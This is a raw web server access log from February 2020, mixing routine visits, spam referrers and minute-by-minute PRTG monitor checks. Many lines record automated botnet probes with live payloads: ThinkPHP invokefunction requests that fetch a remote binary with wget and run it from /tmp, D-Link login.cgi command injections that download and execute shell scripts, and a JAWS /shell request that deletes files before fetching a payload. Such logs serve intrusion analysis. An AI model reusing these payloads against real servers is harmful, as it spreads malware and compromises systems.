144.76.223.13 - - [05/Feb/2020:06:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
34.211.230.32 - - [05/Feb/2020:06:42:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.58.30.76 - - [05/Feb/2020:06:44:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.46.25.229 - - [05/Feb/2020:06:47:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.118.161.25 - - [05/Feb/2020:06:48:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
46.118.121.248 - - [05/Feb/2020:06:52:37 +0100] "GET / HTTP/1.1" 200 1229 "https://virtual-zaim.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [05/Feb/2020:06:52:38 +0100] "GET / HTTP/1.1" 200 1229 "https://virtual-zaim.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [05/Feb/2020:06:52:38 +0100] "GET / HTTP/1.1" 200 1229 "https://virtual-zaim.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
42.118.196.231 - - [05/Feb/2020:06:57:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.112.190 - - [05/Feb/2020:06:57:42 +0100] "GET / HTTP/1.1" 200 1229 "https://melbet-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.118.112.190 - - [05/Feb/2020:06:57:42 +0100] "GET / HTTP/1.1" 200 1229 "https://melbet-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.118.112.190 - - [05/Feb/2020:06:57:42 +0100] "GET / HTTP/1.1" 200 1229 "https://melbet-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
78.187.209.173 - - [05/Feb/2020:06:59:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.69.181.153 - - [05/Feb/2020:06:59:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.159.74.47 - - [05/Feb/2020:07:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:07:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.12.225 - - [05/Feb/2020:07:05:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.242.17.39 - - [05/Feb/2020:07:07:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.1.181.6 - - [05/Feb/2020:07:08:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
216.145.14.142 - - [05/Feb/2020:07:08:28 +0100] "GET /robots.txt HTTP/1.0" 404 328 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
216.145.14.142 - - [05/Feb/2020:07:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [05/Feb/2020:07:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.14.47.19 - - [05/Feb/2020:07:09:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.130.111 - - [05/Feb/2020:07:12:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.121.11.121 - - [05/Feb/2020:07:14:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [05/Feb/2020:07:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.78.253 - - [05/Feb/2020:07:16:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.20.104 - - [05/Feb/2020:07:17:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.170.243.27 - - [05/Feb/2020:07:17:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.68.133 - - [05/Feb/2020:07:17:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.175.173.11 - - [05/Feb/2020:07:19:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
41.253.100.146 - - [05/Feb/2020:07:19:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.253.100.146 - - [05/Feb/2020:07:19:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.253.100.146 - - [05/Feb/2020:07:19:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.253.100.146 - - [05/Feb/2020:07:20:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.88.64 - - [05/Feb/2020:07:23:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.36.32.176 - - [05/Feb/2020:07:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:07:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.78.164.201 - - [05/Feb/2020:07:24:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
110.78.164.201 - - [05/Feb/2020:07:24:09 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
110.78.164.201 - - [05/Feb/2020:07:24:09 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
34.67.90.103 - - [05/Feb/2020:07:24:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.19.81 - - [05/Feb/2020:07:26:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.91.186 - - [05/Feb/2020:07:26:49 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)"
46.119.91.186 - - [05/Feb/2020:07:26:50 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)"
46.119.91.186 - - [05/Feb/2020:07:26:51 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)"
212.91.246.72 - - [05/Feb/2020:07:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [05/Feb/2020:07:27:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [05/Feb/2020:07:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.40.191.115 - - [05/Feb/2020:07:29:34 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:07:29:35 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:07:29:35 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:07:29:35 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:07:29:36 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:07:29:36 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:07:29:37 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:07:29:37 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:07:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:07:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.48.105.210 - - [05/Feb/2020:07:31:21 +0100] "envi" 501 319 "-" "-"
182.48.105.210 - - [05/Feb/2020:07:31:23 +0100] "stats" 501 320 "-" "-"
182.48.99.219 - - [05/Feb/2020:07:31:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:07:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.18.35 - - [05/Feb/2020:07:32:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.158.126.72 - - [05/Feb/2020:07:35:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [05/Feb/2020:07:35:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [05/Feb/2020:07:35:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [05/Feb/2020:07:35:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:07:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.158.126.72 - - [05/Feb/2020:07:35:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:07:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.228.82 - - [05/Feb/2020:07:37:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.26.154.92 - - [05/Feb/2020:07:37:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [05/Feb/2020:07:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.67.38 - - [05/Feb/2020:07:38:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.47.73.116 - - [05/Feb/2020:07:39:56 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
169.197.108.42 - - [05/Feb/2020:07:39:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
193.112.208.85 - - [05/Feb/2020:07:40:04 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.208.85 - - [05/Feb/2020:07:40:04 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.208.85 - - [05/Feb/2020:07:40:08 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.208.85 - - [05/Feb/2020:07:40:11 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.208.85 - - [05/Feb/2020:07:40:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:07:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.242.89 - - [05/Feb/2020:07:42:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.31.116.217 - - [05/Feb/2020:07:43:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
1.52.151.240 - - [05/Feb/2020:07:44:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
